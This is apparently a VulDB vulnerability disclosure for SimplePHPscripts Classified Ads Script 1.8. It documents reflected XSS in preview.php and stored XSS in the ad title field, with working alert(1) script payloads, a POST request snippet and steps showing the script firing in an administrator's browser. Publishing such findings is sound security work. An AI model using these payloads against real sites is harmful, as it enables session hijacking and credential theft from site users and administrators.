Submit #174888: Classified Ads Script 1.8 - Stored XSS - Reflected XSS

Author : skalvin aka (CraCkEr)
Website : https://simplephpscripts.com/classified-ads-script-php/
Vendor : SimplePHPscripts
Software : Classified Ads Script 1.8
Vuln Type: Reflected XSS - Stored XSS
Impact : Manipulate the content of the site

Release Notes:

Reflected XSS

The attacker can send to victim a link containing a malicious URL in an email or
instant message can perform a wide variety of actions, such as stealing the victim's
session token or login credentials

Stored XSS

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

Path: /preview.php

GET 'p' parameter is vulnerable to RXSS

https://website/preview.php?id=14&cat_id=0&p=reioh%22%3e%3cscript%3ealert(1)%3c%2fscript%3eiv1mz&search=

Path: /

URL parameter is vulnerable to RXSS

https://website/preview.php/x5t6p"><script>alert(1)</script>w5omd?id=14&cat_id=0&p=&search=

## Stored XSS

-----------------------------------------------
POST /classified-ads-script-php/classifiedscript/user.php HTTP/2

Content-Disposition: form-data; name="title"

<script>alert(1)</script>
-----------------------------------------------

POST parameter 'title' is vulnerable to XSS

## Steps to Reproduce:

1. As a [Normal User] Click on [Create Classified Ad] to create a [New Ads] on this Path (https://website/user.php?act=newAds)
2. Inject your [XSS Payload] in "Enter Title"
3. Save
4. XSS Fired on Local User Browser

5. When ADMIN check [Classified Ads Entry List] in Administration Panel to check [Waiting Approval Ads] on this Path (https://website/admin.php?act=ads)
6. XSS Will Fire and Executed on his Browser

[-] Done

• User: skalvin (UID 49463)
• Submission: 06/28/2023 00:41 (3 years ago)
• Moderation: 06/29/2023 22:16 (2 days later)
• Status: Accepted
• VulDB entry: 232711 [SimplePHPscripts Classified Ads Script 1.8 HTTP POST Request user.php Title cross site scripting]
• Points: 17